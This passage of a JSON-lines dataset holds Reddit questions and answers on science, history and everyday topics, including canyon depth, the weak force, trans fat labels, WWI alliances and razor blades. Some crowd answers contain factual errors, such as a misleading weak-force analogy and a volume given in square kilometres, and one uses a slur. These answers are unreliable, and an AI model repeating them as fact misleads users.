bottom and vertical walls, like the [Zion Narrows](_URL_4_). This canyon cannot be infinitely deep. The further you go underground, the hotter the temperature and higher the pressure. This makes rocks more fluid, so they will squeeze into any convenient void. At a certain depth, they will squeeze the canyon walls until you no longer have a canyon. Hopefully you're not there when this happens.\n\nAt what depth do the rocks start deforming? Our deepest drill hole, the [Kola Superdeep Borehole](_URL_3_) in Russia, made it to ~12 km before the (unexpectedly) hot rocks made the well sides collapse inwards. The Kola site was chosen for its cold, ancient shield rocks- in most places, the collapse will happen at much more shallow depths.\n\nIn general, rock deformation [starts at about 5 km below the surface](_URL_2_). All metamorphic rocks come from deeper than this. Given that a canyon is a lot bigger than a borehole and thus less stable, 5 km is a good estimate for the depth limit. Add a couple km if you dig it in old shield continental crust, or subtract a couple if you dig in oceanic crust, where 5 km would almost take you to the mantle! If you're digging underwater, add another ~1.5 km for buoyancy. In total, given the right location and an endless budget, you could probably dig an underwater canyon ~8.5 km deep.\n\nTo check my work, how does a 5 km aboveground limit compare to the deepest canyons on Earth? Surprisingly similar! Yarlung Tsangpo Canyon in Tibet, sometimes called the [deepest canyon in the world](_URL_1_), is 5.1 km deep. This canyon doesn't have vertical walls, so it could still be deeper and stay stable. In general, the limit to natural canyon depth on Earth is not rock deformation but sediment deposition. The deeper the canyon, the more rocks and sand will deposit there- making it shallower. Weird tectonic circumstances eons ago might have made a canyon so deep that deformation *was* the limiting factor to that canyon's depth, but we don't see any of those today.\n\nIf you want an 8.5 km underwater canyon, ya gotta dig it yourself."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Turbidity_current", "https://pubs.geoscienceworld.org/gsa/gsabulletin/article/59/5/463/4217/CONCEPT-OF-THE-GRADED-RIVER", "https://en.wikipedia.org/wiki/Submarine_canyon", "https://877792843598943391.weebly.com/uploads/3/7/2/2/37225869/2791268.jpg?581"], ["https://www.reddit.com/r/askscience/comments/2salhs/is_it_possible_that_a_mountain_taller_than_the/cno29hw/", "https://en.wikipedia.org/wiki/Canyon#Largest_canyons", "https://australianmuseum.net.au/learn/minerals/shaping-earth/types-of-metamorphism/", "https://en.wikipedia.org/wiki/Kola_Superdeep_Borehole", "https://www.flickr.com/photos/averycarlton/8754834729"]]}
{"q_id": "sv5za", "title": "Can someone explain the weak interaction to me please?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/sv5za/can_someone_explain_the_weak_interaction_to_me/", "answers": {"a_id": ["c4h9cbw", "c4haza0", "c4hbk13"], "score": [3, 4, 2], "text": ["Simply put: radioactive particles exchange bosons between themselves, causing particles to move, which is what is responsible for radioactive decay. \n\nTo grasp why this happens: imagine you and I are standing opposite each other on a frictionless plane. I (a particle) throw a bowling ball (a boson) towards you. You'll then slide back because of the force. That's the weak force, or weak interaction.", "The weak force involves three bosons, the W^+ , W^- , and Z^0 bosons, which have charges of +1, -1, and 0 respectively. \n\nInside the nucleus of an atom you have protons and neutrons. Protons and neutrons are themselves composed of three quarks each. There are two types of quarks that form protons/neutrons, the up quark and down quark, with a charge of +2/3 and -1/3 respectively. So two up quarks and one down quark form one proton (4/3 - 1/3 = 1), and one up quark and two down quarks form a neutron (2/3 - 2/3 = 0).\n\nThere are two types of beta decay, beta plus, and beta minus. \n\nIn beta plus decay, also called positron emission, a proton decays into a neutron by emitting a positron (anti-electron) and a neutrino. The actual decay takes place when an up quark emits a W^+ boson, and decays into a down quark. The W^+ boson then decays into a positron and a neutrino. \n\nBeta minus decay is also called electron admission. A down quark decays into an up quark through emission of a W^- boson, which then decays into an electron and an *anti*neutrino. ", "The weak interaction is responsible for particle decay.\n\nWe live in a universe with (according to the standard model), three generations of matter. For example, electrons are generation I, muons are generation II, and tau leptons are generation III.\n\nFor some reason (or perhaps no reason!) the higher generation particles decay into lower generation particles. (Which is why you'll never come across any of the higher gen particles in your day-to-day life).\n\nThe Weak interaction is responsible for this decay. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ifgjs", "title": "If my salsa dip has 0 grams trans fat- why is partially hydrogenated soybean oil listed as an ingredient?", "selftext": "As far as I knew, hydrogenated oils were \"trans\" fats. How is this possible?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ifgjs/if_my_salsa_dip_has_0_grams_trans_fat_why_is/", "answers": {"a_id": ["c23bej2", "c23cl5q", "c23d7p1"], "score": [68, 11, 2], "text": ["The FDA did an idiotic thing and allowed them to list that a product has 0g trans fat or is \"trans fat free\" if it has less than .5g of trans fat per serving.  Retarded I know.", "I don't think that labeling is the whole story. In general, hydrogenated oils contain fewer trans-fats than they used to because manufacturers don't use the same methods of hydrogenating oils as they used to. In the past, oils were literally \"hydrogenated\" by sticking them in a big vat of hydrogen with a metal catalyst and heating them up until some of them became saturated. The problem with this method is the high heat: it causes the unsaturated fats to isomerize at their double bond, changing from a cis- arrangement to a more thermodynamically stable trans- arrangement. \n\nHowever, newer methods of hydrogenating oils don't use as much heat. Instead of literally reacting the fats at the site of their double bonds, fatty acids are hydrolyzed from triglycerides of saturated fats and transferred to triglycerides of unsaturated fats until the desired ratio of fat types is reached in a uniform mixture. This process requires less heat (only requires hydrolysis of an ester rather than breaking a carbon-carbon double bond), so the resulting fat contains far fewer trans-fatty acids as in earlier processes.", "FYI: a Salsa dip with 0 grams of trans fat, it is probably not a good salsa dip."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2f9cgx", "title": "How did France and Russia become allies before WW1 when they fought less than a century before that?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2f9cgx/how_did_france_and_russia_become_allies_before/", "answers": {"a_id": ["ck73msb", "ck73v4b"], "score": [6, 3], "text": [" \n\n/u/elos_ more or less answers that question [in this answer to a much wider question from a few weeks ago.]( _URL_0_) In short, it was the mutual threat of a militaristic, expansionist Germany that lead them to ally, but the whole thing's worth a read for all the in depth context he provides. ", "It had to do with the Germans, and more specifically, the Berlin Congress after the Russian-Ottoman war.  It was a revision of the treaty of San Stefano that was initially signed at the end of the war.  Russia (victorious side in the war) was unhappy by the outcome of the congress of Berlin and it greatly strained its relationship with Germany.  The League of the Three Emperors, an alliance of  Germany, Russia, and Austria-Hungary that was signed in 1873, got dissolved in 1878, after the Congress.  It got revived in 1881, and then finally dissolved in 1887, due to conflict of interest of Austria-Hungary and Russia in the Balkans (also a consequence of the Berlin Congress).  Bismarck signed the secret Reinsurance treaty with Russia in 1887., which was essentially a non-aggression pact. \n\nBismarck got dismissed in 1888. and Emperor Wilhelm wasn't interested in continuing Bismarck's policies.  When the Russians asked for an extension of the treaty in 1890., he refused.  He was worried that the provision of the treaty that promised that Germany would remain neutral if Russia would occupy Istanbul (Constantinople) would strain his relations with Britain (because it threatened their colonial interests in the Middle East) and Ottoman Empire(for obvious reasons), if it was made public.\n\nBismarck's strategy in preceding years was to isolate France diplomatically, with his great fear being a Franco-Russian alliance that would expose Germany on two fronts.  France and Germany already had a huge point of contention, Alsace-Lorraine, and the French humiliation in the Franco-Prussian war that they were itching to get revenge for.  After 1888., relations between France and Russia started warming up, and after the change of policy with Bismarck's dismissal, well...It made France and Russia natural allies.\n\nIn 1892. Triple Alliance was signed between Germany, Austria-Hungary and Italy which guaranteed that they would come to each other's aid in case of an attack by another great power.  An alliance between France and Russia was signed the same year. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/2cpyy7/why_was_wwi_considered_inevitable/cjiazrp"], []]}
{"q_id": "9jta4g", "title": "why do pickles have less calories than a fresh cucumber of the same size?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9jta4g/eli5_why_do_pickles_have_less_calories_than_a/", "answers": {"a_id": ["e6u3toz", "e6u41g3", "e6u5ueu", "e6u6hs8", "e6uio2h"], "score": [8, 3, 7, 40, 5], "text": ["Possibility that much of the sugars in the cucumber are diluted into the brining solution?", "They should have more calories as the pickling liquor prob has sugar. It\u2019ll be the calorie database you\u2019re looking at not real/actual calories. ", "I don't think they do.  The google score for pickles say 11 calories per 100g, sourced from the USDA.  The USDA source for cucumbers says they have 10 calories per 100g.\n\nThe google score for cucumbers is 15, but it doesn't say where they got it from, so it was probably some other place using some other methodology for their calorie measurement.  I assume if you can find who made that score and if they also measured pickes they would get something like 16 or 17.\n\nI'm not sure which source is more accurate, but the disagreement comes from two different places doing the measurement, not any one place actually finding that pickles have less calories.", "Okay. So I looked it up a bit, and I might have an idea of what the slight loss in energy comes from? \n\nSo in a traditional pickling process, vegetables (commonly cucumbers) are soaked in a salt solution (called a brine) and allowed to ferment. There is bacteria that begins lactic acid fermentation in the vegetable, and CO2 is released somewhere during this process. Since energy is derived from organic compounds (carbs, fats, and proteins), the release of carbon into the atmosphere might account for the fluctuations in energy stored in the pickle. \n\nThis is just an idea. I don\u2019t know what the actual answer is. ", "So in true pickling the lacto-fermentation process requires that bacteria consume the carbs in the cucumber and poop out vinegar. This should be sufficient to explain the drop in calories.\n\nIn most modern pickling the fermentation process is side stepped by just adding vinegar to cucumbers. If the vinegar is distilled or cooked, and to an extent even if it is raw, it will prevent the pickles from undergoing fermentation. This , along with the multitude of added sugars and other ingredients found in various pickles, will account for why some pickles may actually have a higher calorie content than cucumbers or traditional fermented pickles.\n\nSource: I pickle."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1551vd", "title": "During the Cold War, if American astronauts had landed in Soviet territory or waters (or vice versa), would they have been liable to being captured?", "selftext": "I believe most, if not all, astronauts and cosmonauts of that era were members of their respective armed services. Could they be legally held as POW's? Legal or not, would there have been too great a risk of international outcry?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1551vd/during_the_cold_war_if_american_astronauts_had/", "answers": {"a_id": ["c7jcrq3", "c7jg76h", "c7ji5n2", "c7jish1"], "score": [3, 9, 5, 2], "text": ["I don't think so. From a pretty early point NASA and the (decentralized) Soviet space program had OK relations, even during the main Space Race period. Space flight was so dangerous and complicated that it was pretty much acknowledged that interfering directly with the competition was basically pointless and set everyone back. So it is likely if something like what your question describes had happened the astronauts or cosmonauts in question would have been returned safely. If a capsule had ended up in Soviet waters I'm sure there would have been some fanfare and media drama around it, though. I can see the Soviets making a broadcast where they talk about faulty American equipment and how Soviet know-how avoids mistakes like this. :)", "Article V of [the Outer Space Treaty](_URL_0_) specifically requires signatories to \"render [astronauts] all possible assistance in the event of accident, distress, or emergency landing on the territory of another State Party or on the high seas. When astronauts make such a landing, they shall be safely and promptly returned to the State of registry of their space vehicle.\"\n\nThat treaty entered into force in October 1967. On a historical note, the treaty was open for signatures on Jan. 27, 1967, the date of the Apollo 1 fire. In the book *Apollo 13*, Jim Lovell recalls being at a Washington, D.C. reception for the treaty and learning of the fire.", "Russia and the U.S. weren't at war. Therefore no one could be *legally held as POW's*, military or not. ", "Since the US and the Ussr were not at war they couldn't be held as POWs. The only legal charge that comes to my mind that would be possible to lay on them (pre outer space treaty) is a border violation - basically the astro/Cosmonauts would be illegal aliens since they never entered the country on a legal way. \n\nBut let's we be honest - that would t happen - what would happen is that in whichever nation they land , they would get searched  for, they would wine and dine them , do some interviews, and show the world how good the cooperation in such an important field for humanity is. Thus scoring some points in the propaganda war. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.state.gov/www/global/arms/treaties/space1.html"], [], []]}
{"q_id": "3f38dj", "title": "what is controversial about windows 10's privacy policy? how is it different from previous versions?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3f38dj/eli5_what_is_controversial_about_windows_10s/", "answers": {"a_id": ["ctkwibr", "ctle76e"], "score": [47, 5], "text": ["Windows 10 synchs much of your system status data/settings with a Microsoft Internet server.  The \"purpose\" of this is to have copies of this data because you're not trusted to backup your system.  The \"side effect\" of this is that Microsoft will know a lot about your computer, printer, ISP, and other things that connect to your computer.  They could use/sell this information in any way they want.", "Users who are running and participated in Windows 10 Technical Preview / Insider Program share all their data time to time to improve OS. It helps MS to fix, patch bugs for future releases.\n\nDon't mix privacy policies of final release users and Technical release users. They both are different, you can't control much on Insider program since before using your agreed to share your data to fix, patch MS.\n\nWhile home users who are/will running final release they have control to limit their data being sent to MS by changing appropriate settings form CP. (Also to be noted you can't disable Windows Updates if you are running Windows 10 Home. Only Pro/Enterprise variants can disable Windows 10 Updates)\n\nFurther reading:\n[Windows 10 Technical Preview Privacy policy](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://windows.microsoft.com/en-in/windows/preview-privacy-statement"]]}
{"q_id": "1bcwbm", "title": "Is there a drug that induces sorrow as its primary effect?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1bcwbm/is_there_a_drug_that_induces_sorrow_as_its/", "answers": {"a_id": ["c95r9mt", "c95rfkp", "c95u0c3", "c95u4hs"], "score": [2, 17, 10, 4], "text": ["The entire class of SSRIs (Prozac etc) can make depression worse and even induce suicidal thoughts. I noticed that Welbutrim now carries this warning as well even though it has a different mechanism of action.", "Alcohol often induces this effect in people, it is a depressant of the central nervous system.", "There is a class of hallucinogens called deliriants that, in contrast to more popularly used recreational drugs, most often cause feelings of dread, anxiety, and dysphoria.\n\nAnti-psychotic drugs very frequently induce dysphoria as well. You could maybe say it is one of their 'primary' effects even though it's obviously not administered for this purpose.", "yes, source - _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Depressogenic"]]}
{"q_id": "199i6b", "title": "Did the Athenians put a great deal of emphasis on education, because Athena was their patron and goddess of wisdom?  ", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/199i6b/did_the_athenians_put_a_great_deal_of_emphasis_on/", "answers": {"a_id": ["c8m21se"], "score": [2], "text": ["If you mean Classical Athenians (6-4th c. BC), then the short answer is no. While Athens has certainly produced great thinkers, rhetoricians and leaders, this was as much the product of Athens being the largest city in Greece than her prowess in education.\n\nAnother point which may help answer the question is that Classical Athens had no education system that we could recognise today in modern, developed states. There were no public schools, education programmes or curriculums (in the modern sense). That said, male children from wealthy families were often tutored in the subjects considered important at the time. Adolescents from these families could often be seen hanging around the philosophers in the city; in my view this was partly an issue of fashion, who you were seen to be inspired by, rather than genuine engagement with philosophical discourse. That said, some of the philosophers we think of today as being top notch (like Socrates) were popular too. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cs7epl", "title": "How did European/Christian-Islamic Contact Differ in Spain, Sicily and the Crusader States during the High Middle Ages? What Thoughts/Texts/Thinkers from these Places were Most Influential in the Rest of Europe?", "selftext": "Spain is an off cited example of learning in the middle ages, with many going there for studies, many works being translated there etc. which would make their way into the rest of Europe. But what about the other areas under similar conditions?\n\nI've read Jonathan Rubin's book \"Learning in a Crusader City\" which tries to make a case in the East, but there doesn't seem to be a lot of reception of their works in Europe itself. (He wrote a normal \"internet article\" here on the topic: _URL_0_ )\n\nIn Sicily, the Normans had a trilingual court (Arabic being the dominant language when they landed!) - but I don't actually know of any texts from there. What emerged from this Arabic-Greek-Romance-Latin place?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cs7epl/how_did_europeanchristianislamic_contact_differ/", "answers": {"a_id": ["exs083w"], "score": [5], "text": ["Things were a lot different in terms of translation and transmission of literature in Spain, Sicily, and the crusader states. Spain was generally much more active in translating between Latin and Arabic and spreading those translations to other areas of Europe. In Sicily they were far more interested in translating administrative documents that were of no use to anyone else. The crusader states had a reputation as a sort of backwater with very little intellectual activity of any kind. These are the stereotypes, at least.\n\nSpain had the advantage of being a highly multicultural area for over 700 years, so there was much more opportunity for cultural interaction and for a translation culture to develop. The degree of cultural interaction in Spain is still sometimes debated, but clearly Muslims and Christians (and Jews as well) lived in a place where, despite all the military conquests and cities and provinces passing back and forth between different rulers, the actual people who lived there seemed to get along relatively well. They mostly kept to their own communities, and wouldn\u2019t intermarry or anything like that, but over hundreds of years there was a lot of contact among educated people from each community, and among scholars from elsewhere in Europe too.\n\nSomething was already happening as early as the 10th century, when Gerbert of Aurillac (the future Pope Sylvester II) travelled to Muslim Spain to study mathematics and science. I\u2019m not sure if this is really true, but supposedly he was the first to introduce Arabic numerals into Latin Europe. In later centuries there was a school of translators in Toledo and many works of Arabic science and literature were translated into Latin (including some works that were originally in Greek, translated into Arabic, then into Latin, although without access to the original Greek versions). Religious literature was rarely translated, but the Qur\u2019an was first translated into Latin in Spain in the 12th century.\n\nSicily, unlike Spain, was known more for its administrative translation practices. In Spain the different religious communities interacted, but they were also socially segregated compared to Sicily, which was a bit more integrated. The communities in Sicily included Greeks (who had been there since antiquity, long predating the Romans, and the island had also been Byzantine Greek territory until the 9th century), people who spoke Latin or the dialect that was developing into Sicilian, both Christian and Muslim Arabic speakers (after the Muslim conquest in the 9th century), and then French-speaking Normans (after 1091). The Normans thought that this was pretty great, and they wanted to be as cosmopolitan as possible. They felt that they should be familiar with all the people and languages on the island.\n\nAs you mentioned, under the Normans there was a sort of triple Greek/Arabic/French culture, although this is mostly seen in art and architecture, not literary works. As for written works, the government produced fiscal and land registers, charters, edicts, laws, etc. in Arabic, Greek, and Latin, and employed native speakers to translate everything between the three languages. The people who actually lived on the land, who were affected by these things, all lived relatively close together and interacted with each other (unlike Spain), so they needed these trilingual documents.\n\nArabic and Greek literary works were sometimes translated in Sicily, but\n\n > \"In contrast to the translation of administrative documents, the translation of cultural and academic works was almost always only a one-way process; from Greek into Latin; from Arabic into Latin, or from Arabic to Greek and then into Latin\" (Metcalfe, pg. 106)\n\nSo, it was somewhat like the situation in Spain, but on a much smaller scale. One major difference was that Spain only had Greek literature in Arabic translation, but there was more opportunity to translate ancient and medieval Greek works on Sicily. There was a deeply-ingrained Greek culture and there was much more regular contact with Byzantium, even when the Byzantine Empire was fairly obscure to the rest of Europe. The few notable translations that spring to mind from Sicily are from Greek - Plato\u2019s dialogues *Meno* and *Phaedra* were translated into Latin there. But did those translations have any effect on the rest of Europe? I don\u2019t think so - it wasn\u2019t like Spain, where people from elsewhere in Europe came to study and bring back translated works.\n\nWhatever translation practices existed didn\u2019t survive when Sicily passed to the Holy Roman Empire in the 1190s, and thereafter to French and Catalan dynasties. Under Frederick II (who was Holy Roman Emperor, but preferred his \u201chome\u201d kingdom in Sicily), the Muslims were mostly expelled to Lucera on mainland Italy...and then eventually a mini-crusade wiped them out.\n\nFor the crusader states, they didn\u2019t last very long either. It was a hostile environment, where a very small ruling class of crusaders didn\u2019t interact very much with their subjects. The culture they ruled was extremely diverse, with various different types of Christians, Muslims, and Jews, but the Latin component was pretty minor.\n\nThere has been a bit of work trying to disprove the stereotype that it was a cultural backwater, like Jonathan Rubin\u2019s recent book that you mentioned, but if we were trying to make a list of works produced in the crusader states, it would be a very small list. There were a few translations of Greek and Arabic medical works in Antioch. There was some manuscript production in Acre, but it produced books in French and Latin, not translations. Like in Sicily, the mixing of cultures was mostly in art and architecture. The crusaders adopted Byzantine and Armenian styles, since the aristocracy of all three cultures was in close contact, but that contact didn\u2019t extend to producing translations of written works.\n\nFor further reading, aside from Rubin's book, I would suggest:\n\nSicily:\n\n\\- Alex Metcalfe, *Muslims and Christians in Norman Sicily* (Routledge, 2003)\n\n\\- Karla Mallette, *The Kingdom of Sicily, 1100-1250: A Literary History* (University of Pennsylvania Press, 2005) - Mallette argues that the three cultures had a closely connected literary culture, even if this didn't lead to a school of translation as in Spain\n\n\\- Julie Anne Taylor, *Muslims in Medieval Italy: The Colony at Lucera* (Lexington Books, 2003) - for the Muslims that were exiled to the mainland\n\nSpain:\n\n\\- Charles Burnett, *Arabic into Latin: The Translators and Their Intellectual and Social Context* (Farnham, 2009)\n\nCrusader states:\n\n\\- Laura Morreale and Nicholas Paul, *The French of Outremer: Communities and Communications in the Crusading Mediterranean* (Fordham University Press, 2018) - not about translations, but it might be helpful for info about how people communicated overall\n\n\\- Benjamin Z. Kedar, \u201cIntellectual activities in a holy city: Jerusalem in the twelfth century\u201d, in *Franks, Muslims, and Oriental Christians in the Latin Levant* (Ashgate, 2006), pp. 127-39 - for scholarly activities in general in the early crusader kingdom\n\n\\- Steven J. Williams, *The Secret of Secrets: The Scholarly Career of a Pseudo-Aristotelian Text in the Latin Middle Ages* (University of Michigan Press, 2003) - this is about an interesting translation that may have been made in 13th-century crusader Tripoli"]}, "title_urls": [], "selftext_urls": ["https://aeon.co/ideas/how-the-latin-east-contributed-to-a-unique-cultural-world"], "answers_urls": [[]]}
{"q_id": "ax900m", "title": "Where are all the Indian maps?", "selftext": "I've seen [ancient Greek maps](_URL_2_). I've seen [medieval Arab maps](_URL_0_). I've seen [early modern Chinese maps](_URL_1_). But I have never seen a pre-modern map of the Indian subcontinent made from India, let alone a world map.\n\nWhat was cartography like in pre-modern (let's say pre-Mughals, or at least pre-British) India, how did it develop, and could some examples be given of such 'Indian' maps? [Maps  &  Compasses]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ax900m/where_are_all_the_indian_maps/", "answers": {"a_id": ["eht476e"], "score": [326], "text": ["Edit: The TL;DR is at the bottom.\n\nI've been researching for a little while now, though largely through a literary lens, rather than a purely historical one (they bleed into one another though). This is a complicated question so I'll break it down into two parts. Also forgive my formatting and lack of links as I'm writing this on mobile - but any key information should be easy to find with a quick Google search. \n\nThe direct answer for your question as to why there are no Indian-made maps is that there aren't any *surviving* maps - Joseph E. Schwartzberg's rather comprehensive atlas of the Indian subcontinent ('A Historical Atlas of South Asia') attests to this. It's a very curious oddity considering the Gupta empire of the 3rd century practiced intricate drawings and written poetry (Kalidasa is a very important figure for this, alongside the Udayagiri caves - more on this later).\n\nBut to answer another related question of whether there are maps of the Indian subcontinent during the medieval period and prior to the British colonisation: yes, there is, though a little complicated.\n\nCartography would have been around during the Gupta empire's reign, judging by the fact that the Indians were incredibly adept and advanced in cosmology, astrology, architecture and various other technologies and arts. These branches of science and technology are directly linked with the practice and artistry of cartography. The aforementioned Udayagiri caves is evidence of a form of cartographical thinking. Its iconography depicts an advanced society but, more importantly, verifies a basic level of map-making, charting the Yamuna river. Moreover, the construction of temples that - according to the historian Susan Gole in her books 'Early Maps of India' and 'Indian Maps and Plans' - had identical bricks, even though the temples were far apart, suggests there was a system of transport that had to involve the use of maps.\n\nArt is an important source for our question. K\u0101lid\u0101sa, an important and prominent contemporaneous scholar and writer , narrates the expansion of Gupta rule beyond the borders of India. Through narrations regarding topography, we are able to roughly trace the sphere of influence and conquest on a modern map, so it stands to reason that the Indians themselves had a good understanding of it, just that they had a rather basic level of map-making skills*. As anyone who has been to the Vatican can attest, the role of maps in the medieval and renaissance period was not always to chart an accurate landscape, but instead create a quick, easy, at-a-glance map that shows the most important areas of the interior of a country or city, disregarding scale. This is the case for the Udayagiri caves and suggestive of a rudimentary map-making skills. \n\nHowever, we know for sure that foreign lands (the Greeks and Chinese for instance) held maps of India, though these were in differing periods. For the Greeks, they created their own map of India during the Renaissance period, modelling it after Ptolemy's 'Geographia'. However these maps lacked detail on the interior of the subcontinent, perhaps due to the resources needed to explore, or the relative military might of the Indians that would have made ventures deep into India difficult. As for the Chinese, in the 7th century, they were given a 'Map of the Country' by the Indians, though the map itself is only spoken of, and has not survived. \n\n*One potential reason as to why there was a lack of maps is that if we are to apply linguistic theory, the linguistic branches of sanskrit doesn't have a particular word for 'map'/'cartography', instead borrowing from the neighbouring Arabians, suggesting - at least linguistically - that there was not an innate culture surrounding the importance of cartography. With the adoption of a name, it can mean cartography was introduced, rather than invented within the confines of the Indian subcontinent.\n\nTL;DR : there are no surviving maps during this period. At best there are rudimental maps, found in the Udayagiri wall scriptures. Why? We don't really know, we can only theorise using contextual information. \n"]}, "title_urls": [], "selftext_urls": ["https://upload.wikimedia.org/wikipedia/commons/a/a1/TabulaRogeriana_upside-down.jpg", "https://upload.wikimedia.org/wikipedia/commons/c/cd/Da-ming-hun-yi-tu.jpg", "https://upload.wikimedia.org/wikipedia/commons/2/23/PtolemyWorldMap.jpg"], "answers_urls": [[]]}
{"q_id": "3sehxo", "title": "the ruling that just happened regarding fanduel and draftkings", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3sehxo/eli5_the_ruling_that_just_happened_regarding/", "answers": {"a_id": ["cwwpt4z", "cwwqykx"], "score": [3, 2], "text": ["The New York Attorney General declared it as gambling and doesn't want the two sites taking bets from New York residents. The site has always been a mix of gambling and fantasy. Here's the full article _URL_0_", "It is illegal to gamble on sports in the United States (with some high profile exceptions). There has been for several years an exception to this rule for fantasy sports, which are deemed \"games of skill\" instead of \"games of chance.\" It is okay to bet on games of skill (which is why it is okay to pay money to participate in a fantasy league) but not to bet on games of chance (which is why you can't play poker online anymore). \n\nThe New York Attorney General just declared that the State of New York no longer believes Fan Duel and Draft Kings are games of skill, but instead are games of chance. That makes them illegal, and the companies are now no longer allowed to accept money from the reported 500,000+ players in New York. \n\nThe companies are going to appeal this, if they haven't already."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://espn.go.com/chalk/story/_/id/14100780/newyork-attorney-general-declares-daily-fantasy-sports-gambling"], []]}
{"q_id": "4xkx2i", "title": "How durable could a razor blade be made?", "selftext": "The web is rife with stories of how the metal (I presume it is steel) used for most commercial razor blades is designed with planned obsolescence in mind, with the intent of selling as many blades as possible to consumers. I have the following questions:\n\n1 - is this \"common wisdom\" demonstrably true?\n\n2 - If so, how durable could a common razor blade be made if one ditched the philosophy of planned obsolescence and aimed for maximum durability instead? What kind of metal would be best adapted to produce durable blades which remain sharp and effective as long as possible, and what would it's composition and properties be?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4xkx2i/how_durable_could_a_razor_blade_be_made/", "answers": {"a_id": ["d6gb5j4", "d6gf91c", "d6guc9n"], "score": [12, 19, 4], "text": ["It's about the blade angle. It's so fine that the metal folds over. If the angle isn't quite so sharp, the edge lasts longer, but um, isn't as sharp. You can get another emergency shave out of a disposorazor by stropping it on your jeans: imagine a reverse-shaving stroke (phrasing). Hold the razor normally, but 'push up' instead of 'pulling down'.\n\nThat's why straight razors get stropped obsessively. The sharp edge has to be maintained so it doesn't fold over. I think disposorazors are cheaper metal, so they fold over quicker.", " > The web is rife with stories of how the metal (I presume it is steel) used for most commercial razor blades is designed with planned obsolescence in mind, with the intent of selling as many blades as possible to consumers.\n\nThis is partially true. The disposable nature itself is indeed part of the business model, but making them dull isn't really part of the game plan, as far as I know. And even if it were, just using the cheapest steel available is still *steel*. It's not like they're making it out of Swiss cheese.\n\nThe reason they go \"dull\" has already been touched on, but I'll expand a bit: with the blade angle as small as it is, even steel folds over. In theory, you could use a leather strop with your ten thousand blade disposable, which would make it last longer. That they don't advertise this is possibly for marketing, but is also likely because the disposable razor was marketed from the standpoint of convenience (all the way back to the \"safety\" razor) that you didn't *have* to maintain the blade like you do a straight razor.\n\nThat said, there are better alloys (and other materials) to make blades from. But they would likely be of marginal benefit to the disposable razor community because it would increase your per-blade cost significantly over whatever steel they use currently (probably some sort of cheap carbon steel). \n\nFor straight razors, on the other hand, you could likely use some fancy tool steels that are too brittle for normal blades, but that would work just fine for shaving.\n\nI also expect that various ceramic blades will make their way in to shaving technology (if they haven't already). They can be made extremely thin, and some of the ceramics are extremely hard, and can be made relatively cheaply (especially in the sizes required for razor blades).", "The tool wear index of an average razor blade will be somewhere between 10 and 80 depending on the type of material used to form the blade.  However, there are now blades with a wear index of 1,300 (higher index means longer a lifetime).  A German company GFD developed a nanocrystalline diamond coating that can be applied to a carbide blade and then polished by a plasma sharpening process.  A company called [Cadence](_URL_0_) markets this product in North America.\n\nWhen manufacturer's produce blades, they work to minimize the total cost of a blade or any cutting tool (material cost, energy cost, etc) while maximizing the productivity of the tool.  A good approximation of blade lifetime is given by Taylor's Equation for tool life expectancy:\n\nVcT^n x D^x S^y = C\nwhere\n\nVc=cutting speed\n\nT=tool life\n\nD=depth of cut\n\nS=feed rate\n\nx and y are determined experimentally\n\nn and C are constants found by experimentation or published data;\n\n they are properties of tool material, workpiece and feed rate.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://cadenceinc.com/sb/list/brand/diamaze/"]]}
{"q_id": "5cb4fe", "title": "how come the earth/ground isn't collapsing when we pump billions of gallons of oil out of the ground?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5cb4fe/eli5_how_come_the_earthground_isnt_collapsing/", "answers": {"a_id": ["d9v3kle", "d9vfjwm", "d9vlsqe", "d9vovap", "d9vrgjx"], "score": [16, 2, 4, 2, 2], "text": ["The majority of the time spent wells don't need to be filled with water. When drilling an oil well when you reach the oil it tends to be in pockets of sandstone since the rock has high permeability and porosity. If you aren't familiar porosity is the amount and size of the holes, or pore space, in the rocks, permeability is whether or not these holes are connected to each other. These pockets don't just contain oil. They contain gas and brackish water as well. The fluids are separated due to density differences. When you pump the oil of of the ground you increase the volume of space that the gas can occupy. The pressure in the well stays about the same, with the added space in the hole, water from the geological formation is also able to fill the void space. \n\nTL;DR Gas in the well expands, water from the formation which was at a lower pressure than the water in the well is now able to flow in and fill the void space, which keeps the volume of the well nearly constant. ", "isn't the rise in sink holes related to what we've been taking from the ground?", "World oil production in a year: 20 billion barrels.  The volumetric size of this is 2.3 km^2.  Spread this out across a single continent and it measures less than a millimeter thick.  Condense that into reservoirs and it's not a whole lot thicker.  It's also spread 